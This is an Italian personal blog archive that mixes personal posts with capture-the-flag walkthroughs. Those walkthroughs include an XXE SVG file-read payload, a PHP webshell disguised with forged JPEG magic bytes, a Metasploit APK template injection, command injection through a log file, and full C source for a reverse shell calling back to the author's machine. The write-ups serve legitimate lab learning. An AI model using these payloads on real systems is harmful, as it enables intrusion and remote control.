Archive for the 'tmrc' Category
perché no?
ciao
in questo momento è in running la finale di Sanremo 2023
M. e fabrizio la stanno vedendo di lÃ
io mi sento totalmente libero di non vederla (ma non posso certo fare a meno di sentirla), e mi sono messo a fare queste piccole challenge (categoria: Javascript):
Challenges – RingZer0 Online CTF (ringzer0ctf.com)
Che buffo, è quasi impossibile credere che io sia riuscito a concentrarmi per riuscire a fare questa (mooooolto carina!)
tmrc/CTF-Walkthrough/ringzer0ctf/javascript/Why_not at main · sughenji/tmrc · GitHub
meh, insomma, non sono tanto decerebrato dai 🙂
cmq, mi sembra tutto abbastanza chiaro.
la mia specialità (o dovrei dire: il mio rifugio) è: procrastinare qualsiasi cosa “vera”, con la giustificazione di non essere ancora pronto.
ma magari io sono più pronto di quello che io creda.
sono un limite per me stesso, si sa.
1 commentbgp
forse sarebbe troppo, troppo “avere tutto”
magari hai una relazione che va a gonfie vele, ma una situazione lavorativa così così
o viceversa
magari non hai più un genitore, ma tanti amici che ti vogliono bene e con cui stai bene
mi reputo sinceramente fortunato


pulled pork by Frate Tac (puntualissimi, devo dire)


The basics
beh, questa sembra essere la roba essenziale che installo per sopravvivere su Windows
WinSCP
Teamviewer (ahimé...)
VLC
VirtualBox
Wireshark
Nextcloud
KeePass
Telegram Desktop
PuTTY
Firefox
client VPN
Notepad++
sshfs+winfsp (per mountare file system remoti in ssh)
Obsidian
direi basta

journey
tutto è iniziato… circa 1 mesefa , con questo post su Linkedin del mio amico niggle:

link alla room:
https://tryhackme.com/room/snort
come spesso avviene, mi faccio stimolare da una cosa che hanno già fatto gli altri, visto che lì ci sono centinaia di room e di certo non posso affliggermi da solo con l’obiettivo “ok me le faccio tutte” (perché ne sarei capace o, più onestamente, ne avrei il desiderio)
così ho iniziato a farla e.. mi è venuta voglia di toccare con un po’ più di mano questo snort, tool che ho sentito nominare centinaia di volte, bene o male so cosa faceva, ma che non avevo mai provato.
e così mi sono visto un po’ di video su youtube del canale ufficiale:
e, tra un docker e l’altro, ho visto una cosa molto interessante e “nuova”, ossia la possibilità di visualizzare gli alert di snort dentro Elasticsearch.
allora mi sono detto.. perché non provarci!
e così.. ho abbandonato la room a metà , ho persino abbandonato snort, e mi sono messo a vedere un po’ meglio Elasticsearch, anche qui partendo dal canale ufficiale
qui è partita il caos procedurale.
posso già contare 3 installazioni di ELK, una sul server a casa di mamma (junkie, 2 GB di RAM 🙁 ), una su una VM in ufficio, e una sul Cloud trial (30 giorni) di Elasticsearch.. 3 versioni tutte diverse, con menù diversi e cose chiamate in modo diverso. sigh
PERO’, mi era proprio venuta voglia di “farci qualcosa” di pratico, e avevo trovato un po’ di link che spiegavano come buttare dentro ELK il netflow di un Mikrotik.
così.. l’ho fatto e

questa roba è proprio figa 🙂
mi sono persino iscritto (sempre trial) su Pluralsight.com e ho seguito il corso di un tizio. carino, ma secondo me ha corso troppo.
cmq, credo sia proprio questo che intedeva il grande ippsec (https://www.youtube.com/ippsec)
quando dice :
Essentially, if you target your learning in order to accomplish a specific task. You become an “assembly line†worker able to do that one task really well but all the other foundational skills get left out. Not to say this learning is bad, but if it is the only way you are learning it makes it hard to branch out because you aren’t becoming a master in the subject, which makes it difficult to relate it to the next thing you are learning.
https://www.hackthebox.com/blog/Interview-with-Ippsec
p.s. poco fa ho finito la room “snort”, btw 🙂
No commentsF.u.A.
ho trovato una motivazione per essere felice/stimolato: ormai mi “drogo” con moduli su academy.hackthebox.com 🙂
vediamo l'”esame finale” di questo interessantissimo modulo.
obiettivo del gioco: accedere al flag sul filesystem di questo webserver:

la parte più interessante è chiaramente “Contact Us”:

iniziamo con le cose semplici, e vediamo come va a finire con un’immagine qualunque:

il file viene caricato con successo:

ma.. non sembra immediato capire “dove” sia andato a finire:

tentativi banali come /upload/nomefile
, /uploads/nomefile
, etc.. non hanno portato a nulla.
proviamo (tentativo disperato) ad uploadare una webshell in PHP. tra parentesi, sembra esserci un controllo client-side sui tipi di files ammessi:

che fa il paio con:

by the way, veniamo chiaramente inculati:

cerchiamo di indagare su quale sia lo script php che si “occupa” di fare l’upload, con l’inseparabile Burp:

vediamo se riusciamo a ottenere in chiaro il codice di upload.php
tramite XXE.
creiamo un file .svg con questo contenuto:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=upload.php"> ]>
<svg>&xxe;</svg>
prima di farlo, tramite l’inspector del browser, togliamo di mezzo quei controlli, ossia:
onchange="checkFile(this)" accept=".jpg,.jpeg,.png"
carichiamo il file svg:

e godiamoci il risultato:

quel blocco encodato in base64 contiene il codice php del file upload.php
.
# cat upload.php | base64 -d
<?php
require_once('./common-functions.php');
// uploaded files directory
$target_dir = "./user_feedback_submissions/";
// rename before storing
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]);
$target_file = $target_dir . $fileName;
// get content headers
$contentType = $_FILES['uploadFile']['type'];
$MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']);
// blacklist test
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
}
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
// size test
if ($_FILES["uploadFile"]["size"] > 500000) {
echo "File too large";
die();
}
if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) {
displayHTMLImage($target_file);
} else {
echo "File failed to upload";
}
la prima scoperta interessante è il path di dove vengono salvate le immagini:
$target_dir = "./user_feedback_submissions/";
nonché il come vengono rinominati i files:
$fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName;
come controprova, verifichiamo con il nostro Mario kart di prima 🙂

CVD!
next, avendo in chiaro anche il meccanismo di blacklist E whitelist, possiamo fare dei test.
partiamo da una jpg “vera” qualsiasi (giusto per non rimettere mano all’inspector del browser per togliere i javascript 🙂

e intercettiamo l’upload:

proviamo a cambiare il nome del file e il contenuto dello stesso con una web shell semplicissima:

veniamo inculati:

ma noi questo lo sapevamo già , perché abbiamo triggerato la “blacklist” (il nostro file contiene “.php
“)
if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) {
echo "Extension not allowed";
die();
la blacklist di cui sopra, tuttavia, consente di uploadare un file con estensione .phar
che, può portare comunque ad esecuzione di codice PHP, se assumiamo che la conf del web server sia:
<FilesMatch ".+\.ph(ar|p|tml)">
SetHandler application/x-httpd-php
</FilesMatch>


come si vede, l’errore è diverso: adesso abbiamo superato la blacklist, ma abbiamo triggerato la whitelist
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
la whitelist di cui sopra è fatta un po’ meglio della blacklist, perché consente solo i file il cui nome finisce con quella regexp (mentre la blacklist verifica solo se contiene o meno la regexp).
riproviamo dunque con pac.phar.jpg
:


A questo punto non è chiaro al 100% se abbiamo superato la whitelist, perché l’errore, anche nella terza condizione, è sempre “Only images are allowed
“:
// whitelist test
if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) {
echo "Only images are allowed";
die();
}
// type test
foreach (array($contentType, $MIMEtype) as $type) {
if (!preg_match('/image\/[a-z]{2,3}g/', $type)) {
echo "Only images are allowed";
die();
}
}
tuttavia, grazie a questo link:

sembra che abbiamo bypassato la whitelist.
dobbiamo quindi superare il terzo controllo; dobbiamo presupporre che dopo l’upload venga effettuato un check sul tipo di file.
Dobbiamo quindi far creare al controllo lato-server che si tratti di una jpeg, anche se di fatto non lo è.
possiamo trovare un po’ ovunque i “magic bytes” per i vari tipi di file, es.
https://gist.github.com/leommoore/f9e57ba2aa4bf197ebc5
nel nostro caso dobbiamo far sì che il contenuto esadecimale del nostro file inizi con:
ff d8 ff e0
grazie a hexedit
, modifichiamo dunque l'”incipit” della webshell aggiungendo i bytes di cui sopra, ottenendo alla fine:

il comando file
sembra darci ragione sul fatto che sia veramente una jpeg:
root@kaligra:/home/joshua/academy/file_upload_attacks# file webshell.phar.jpg
webshell.phar.jpg: JPEG image data
a questo punto, dopo aver avuto un’idea completa dei controlli lato client (javascript) e lato server (controlli tramite PHP), possiamo prendere il nostro file webshell.phar.jpg
e uploadarlo indisturbati:


vediamo se è stato caricato correttamente:

mm, c’è qualcosa (non un errore “Not found” 🙂
a questo punto, possiamo interagire con la nostra webshell, passandogli il parametro cmd
e il comando desiderato:

game over *
1 commentche fatica
ma mi sono divertito 🙂
tmrc/CTF-Walkthrough/TryHackMe/Chill_Hack at main · sughenji/tmrc · GitHub
1 comment2005
hai notato che, anche un po' a fatica, ora posto con kmail?
(cmq con grossi rimpianti per le versioni storiche di eudora 3.05
e free agent 1.0 perche' erano semplici, di uso istintivo e senza
inutili fronzoli!) alla faccia del progresso!
firefox invece lo trovo comodo.
??? conosci qualche programma per la posta e per usenet, anche
datato, che sia adatto a me! ...ovviamente va bene anche se e'
in bianco e nero :))
se e quando potrai ti faro' leggere "il disagio tecnologico" di alan
cooper, un po' datato ma lo condivido!
trovo "mostruoso" che il mio telefonino abbia un manuale di 88
facciate, anche se e' ± tascabile (12x17). ho letto quello che mi
serviva e vivo tranquillo!
re-auguri e bacioni a te (un po' meno) ed alle tue donne!
massimo
(mail al suo caro amico Upaz * )
1 commentpiccole modifiche
meh, mi ero reso conto che i blocchi di codice si confondevano abbastanza con il resto dei post, per cui ho customizzato leggermente il css, con questa roba:
pre.wp-block-code {
border-left: 6px solid #5de8ff;
background-color: #F5F7F9;
padding: 5px;
color: black;
}
…da migliorare eh!
forse è un bene darsi dei tempi.
ieri non ci stavo capendo un cazzo con python e gli esercizi. oggi l’esercizio 5 l’ho fatto in 2 minuti:
5. You have the following three variables from the arp table of a router:
mac1 = "Internet 10.220.88.29 94 5254.abbe.5b7b ARPA FastEthernet4"
mac2 = "Internet 10.220.88.30 3 5254.ab71.e119 ARPA FastEthernet4"
mac3 = "Internet 10.220.88.32 231 5254.abc7.26aa ARPA FastEthernet4"
Process these ARP entries and print out a table of "IP ADDR" to "MAC ADDRESS" mappings. The output should look like following:
IP ADDR MAC ADDRESS
-------------------- --------------------
10.220.88.29 5254.abbe.5b7b
10.220.88.30 5254.ab71.e119
10.220.88.32 5254.abc7.26aa
Two columns, 20 characters wide, data right aligned, a header column.
svolgimento:
#!/usr/bin/python3
mac1 = "Internet 10.220.88.29 94 5254.abbe.5b7b ARPA FastEthernet4"
mac2 = "Internet 10.220.88.30 3 5254.ab71.e119 ARPA FastEthernet4"
mac3 = "Internet 10.220.88.32 231 5254.abc7.26aa ARPA FastEthernet4"
print("{:>20}{:>20}".format("IP ADDR", "MAC ADDRESS"))
print("-" * 40)
print("{:>20}{:>20}".format(mac1.split()[1],mac1.split()[3]))
print("{:>20}{:>20}".format(mac2.split()[1],mac2.split()[3]))
print("{:>20}{:>20}".format(mac3.split()[1],mac3.split()[3]))
risultato:
[sugo@vm pynet-learning-python]$ ./exercise5.py
IP ADDR MAC ADDRESS
----------------------------------------
10.220.88.29 5254.abbe.5b7b
10.220.88.30 5254.ab71.e119
10.220.88.32 5254.abc7.26aa
direi che va bene no? 🙂
No commentsProtected: spectra
tutto sommato, sono scarso :)
c’ho perso così tanto tempo che vale la pena farci un post….
come dicevo quasi esattamente l’anno scorso, ho deciso di buttarmi un po’ più seriamente nell’affascinante mondo dell’ethical hacking (…)
il mio impegno di routine (ah, come amo la routine. com’è rassicurante) è cercare di fare una VM a settimana su hackthebox.eu
l’ultima è stata ScriptKiddie. di livello FACILE. in teoria
la VM in questione è ancora attiva, per cui.. se stai leggendo, vuol dire che ti ho dato la password 😀
cominciamo.
# nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:12:28 2021 as: nmap -T4 -p- -oN 01_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.048s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
5000/tcp open upnp
andiamo leggermente più a fondo:
# nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
# Nmap 7.91 scan initiated Tue May 25 23:25:56 2021 as: nmap -T4 -p22,5000 -A -oN 02_nmap.txt 10.10.10.226
Nmap scan report for 10.10.10.226
Host is up (0.044s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 3c:65:6b:c2:df:b9:9d:62:74:27:a7:b8:a9:d3:25:2c (RSA)
| 256 b9:a1:78:5d:3c:1b:25:e0:3c:ef:67:8d:71:d3:a3:ec (ECDSA)
|_ 256 8b:cf:41:82:c6:ac:ef:91:80:37:7c:c9:45:11:e8:43 (ED25519)
5000/tcp open http Werkzeug httpd 0.16.1 (Python 3.8.5)
|_http-server-header: Werkzeug/0.16.1 Python/3.8.5
|_http-title: k1d'5 h4ck3r t00l5
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 43.92 ms 10.10.14.1
2 44.17 ms 10.10.10.226
chiaramente mi dirigo via browser sulla porta 5000:

provo a farmi un nmap
da solo 🙂 metto il mio ip, e in effetti ricevo lo scan dal sito remoto:

# tcpdump -i tun0 -nn not port 5000
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
10:19:47.626618 IP 10.10.10.226.35770 > 10.10.14.28.80: Flags [S], seq 1822080011, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626655 IP 10.10.14.28.80 > 10.10.10.226.35770: Flags [R.], seq 0, ack 1822080012, win 0, length 0
10:19:47.626675 IP 10.10.10.226.47216 > 10.10.14.28.443: Flags [S], seq 2628818854, win 64240, options [mss 1357,sackOK,TS val 3575408215 ecr 0,nop,wscale 7], length 0
10:19:47.626690 IP 10.10.14.28.443 > 10.10.10.226.47216: Flags [R.], seq 0, ack 2628818855, win 0, length 0
10:19:47.671060 IP 10.10.10.226.33122 > 10.10.14.28.111: Flags [S], seq 2417941658, win 64240, options [mss 1357,sackOK,TS val 3575408260 ecr 0,nop,wscale 7], length 0
10:19:47.671113 IP 10.10.14.28.111 > 10.10.10.226.33122: Flags [S.], seq 4074904182, ack 2417941659, win 65160, options [mss 1460,sackOK,TS val 1882515510 ecr 3575408260,nop,wscale 7], length 0
..
..
..
mi concentro poi sul secondo “blocco”, vedo che la generazione del payload per Linux fallisce sempre, quindi passo a Windows:

si riesce a generare un payload:

che si può scaricare da:
http://10.10.10.226:5000/static/payloads/1cc2ae72ad1d.exe
ma non ci si fa granché.
su /static e /payloads si ottiene un bel “Not Found”.
ma a che servirà quel “template”?
per fortuna mi è venuto in mente abbastanza presto di cercare “venom exploit template”, e ho trovato questo:
da msfconsole
:
msf6 > use exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection
le opzioni sono poche ed intuitive:
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > show options
Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.88.10 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
ho impostat LHOST sull’ip della mia VPN con hackthebox ( set LHOST 10.10.14.28
) e la porta (non so perché l’ho voluta cambiare 🙂 set LPORT 5555
), e ho generato il file:
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LHOST 10.10.14.28
LHOST => 10.10.14.28
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > set LPORT 5555
LPORT => 5555
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) options
Module options (exploit/unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.apk yes The APK file name
Payload options (cmd/unix/reverse_netcat):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.14.28 yes The listen address (an interface may be specified)
LPORT 5555 yes The listen port
**DisablePayloadHandler: True (no handler will be created!)**
Exploit target:
Id Name
-- ----
0 Automatic
msf6 exploit(unix/fileformat/metasploit_msfvenom_apk_template_cmd_injection) > run
[+] msf.apk stored at /root/.msf4/local/msf.apk
a questo punto ho messo in ascolto la porta 5555 sulla mia “attacker machine”:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...
e ho provato ad usare il tool, stavolta buttandoci dentro il mio “malicious template”:

(su lhost ho messo un ip a cazzo, perché tanto ero convinto che avrebbe funzionato la reverse shell generata dall’apk di cui sopra), e infatti:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 5555
listening on [any] 5555 ...
connect to [10.10.14.28] from (UNKNOWN) [10.10.10.226] 44180
boom, siamo dentro 🙂
ahimé come utenti NON privilegiati:

mettiamoci subito comodi con una shell “umana” (bash -i
)

in /home/kid/user.txt
ho trovato il flag, e l’ho submittata su htb 🙂
per stare ANCORA PIU’ COMODO, ho messo in authorized_keys
la mia chiave pubblica, e poi mi sono ricollegato sulla VM in ssh (ricordate? nmap mostrava 22/TCP aperta)
sulla mia kali ho spawnato un webserver python al volo:

e ho scaricato dalla VM victim la chiave, copiando nel posto giusto:

ok, ora sono veramente felice 🙂

dando un’occhiata in giro, si vede la presenza di un altro user, il che significa chiaramente che bisogna fare “lateral movement” prima di fare PRIVESC 🙂
kid@scriptkiddie:~$ cd /home/
kid@scriptkiddie:/home$ ls -l
total 8
drwxr-xr-x 12 kid kid 4096 May 28 08:01 kid
drwxr-xr-x 6 pwn pwn 4096 Feb 3 12:06 pwn
si nota la presenza di uno script scanlosers.sh
kid@scriptkiddie:~$ cd /home/pwn/
kid@scriptkiddie:/home/pwn$ ls -l
total 8
drwxrw---- 2 pwn pwn 4096 May 28 07:10 recon
-rwxrwxr-- 1 pwn pwn 250 Jan 28 17:57 scanlosers.sh
kid@scriptkiddie:/home/pwn$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/logs/hackers
cd /home/pwn/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
quindi, prende il terzo campo (separato da spazio) del file /home/kid/logs/hackers
e ci lancia nmap contro.
è simpatica l’opportunità di provarlo 🙂
rimetto in ascolto tcpdump sulla mia VM:
root@kali:~# tcpdump -i tun0 -nn not port 5000 and not port 22
genero il file:
kid@scriptkiddie:/home/pwn$ echo 'a b 10.10.14.28' > /home/kid/logs/hackers
kid@scriptkiddie:/home/pwn$
e infatti ricevo ho ricevuto lo scan (verificando sempre con tcpdump -i tun0 -nn not port 5000 and not port 22
)
da qui in poi ho perso 2 notti.
una cosa simpatica che mi era venuta in mente (visto che la VM si chiama “Scriptkiddie” che fa pensare all’opzione di nmap
:
-oS filespec (ScRipT KIdd|3 oUTpuT)
Script kiddie output is like interactive output, except that it is post-processed to better suit the l33t HaXXorZ who previously looked down on Nmap due to its consistent
capitalization and spelling. Humor impaired people should note that this option is making fun of the script kiddies before flaming me for supposedly “helping themâ€.
ho dato un’occhiata su https://gtfobins.github.io/ , in merito a nmap appunto, e ho trovato questo:

ho pensato: magari provo ad eseguire qualcosa con l’utente pwn
, manipolando il contenuto del file /home/kid/logs/hackers
intanto ho fatto una prova, dopo aver copiato lo script scanlosers.sh
nella home di kid
.
ho creato un semplice script nse (come l’esempio di gtfobins), in modo da verificare che “funzionasse”, ad esempio scrivendo l’output del comando id
dentro /tmp
:
kid@scriptkiddie:~$ echo 'os.execute("/usr/bin/id > /tmp/kid.txt")' > /tmp/kidscript.nse
kid@scriptkiddie:~$ nmap --top-ports 10 --script=/tmp/kidscript.nse 127.0.0.1
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-28 09:06 UTC
NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
/usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
[C]: in ?
QUITTING!
in barba all’errore, il file è stato generato:
kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)
da qui, ho perso veramente troppo tempo.
con l’utente kid
sembrava funzionare come mi aspettavo (lo script scanlosers.sh
l’ho leggermente modificato per usare i path relativi a kid
)
kid@scriptkiddie:~$ cat scanlosers.sh
#!/bin/bash
log=/home/kid/test
cd /home/kid/
cat $log | cut -d' ' -f3- | sort -u | while read ip; do
sh -c "nmap --top-ports 10 -oN recon/${ip}.nmap ${ip} 2>&1 >/dev/null" &
done
if [[ $(wc -l < $log) -gt 0 ]]; then echo -n > $log; fi
kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/test
kid@scriptkiddie:~$ sh scanlosers.sh
scanlosers.sh: 10: [[: not found
kid@scriptkiddie:~$ NSE: failed to initialize the script engine:
/usr/bin/../share/nmap/nse_main.lua:621: /tmp/kidscript.nse is missing required field: 'action'
stack traceback:
[C]: in function 'error'
/usr/bin/../share/nmap/nse_main.lua:621: in field 'new'
/usr/bin/../share/nmap/nse_main.lua:823: in local 'get_chosen_scripts'
/usr/bin/../share/nmap/nse_main.lua:1310: in main chunk
[C]: in ?
QUITTING!
e il file è stato creato:
kid@scriptkiddie:~$ cat /tmp/kid.txt
uid=1000(kid) gid=1000(kid) groups=1000(kid)
non sono riuscito a fare altrettanto con utente pwn.
sbirciando (purtroppo) sul forum ufficiale, ho visto che si parlava di pspy; non ricordavo di averlo giù usato. è un tool che permette di avere una visione più chiara dei processi in tempo reale.
ho scaricato da qui la versione statica a 64bit:
https://github.com/DominicBreuker/pspy
l’ho copiata sulla VM victim con la stessa tecnica del web server Python, e l’ho eseguito:

ma non ho avuto fortuna:
kid@scriptkiddie:~$ echo 'a b 10.10.14.28 --script=/tmp/kidscript.nse' > /home/kid/logs/hackers

…perché chiaramente il comando nmap
si “rompe” in quando non viene trovato /tmp/kidscript.nse.nmap
.
dopo 2 serate 🙂 ho cambiato leggermente strada, abbandonando la via degli script nse e usando semplicemente bash:
kid@scriptkiddie:~$ echo 'a b ;/bin/bash -c "ping -c 3 10.10.14.28"' > /home/kid/logs/hackers
facendo così, ha funzionato: lato mio ho ricevuto i 3 ping:

con il traditional netcat non ho avuto fortuna (anche qui 🙂
al che, mi sono veramente rotto i coglioni e ho compilato una reverse shell in C, presa da qui:
(chiaramente ho impostato il mio indirizzo e la porta 6666)
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void){
int port = 6666;
struct sockaddr_in revsockaddr;
int sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("10.10.14.28");
connect(sockt, (struct sockaddr *) &revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char * const argv[] = {"/bin/sh", NULL};
execve("/bin/sh", argv, NULL);
return 0;
}
messa in ascolto la suddetta porta sulla mia VM:
root@kali:/opt/htb/ScriptKiddie# nc -nlvp 6666
listening on [any] 6666 ...
compilata la shell sulla VM victim:
kid@scriptkiddie:~$ gcc dio.c -o /home/kid/dio
kid@scriptkiddie:~$
kid@scriptkiddie:~$ echo 'a b ;/home/kid/dio #' > /home/kid/logs/hackers

FINALMENTE.
da qui in poi, tutto in discesa (sudo
):


got root 🙂
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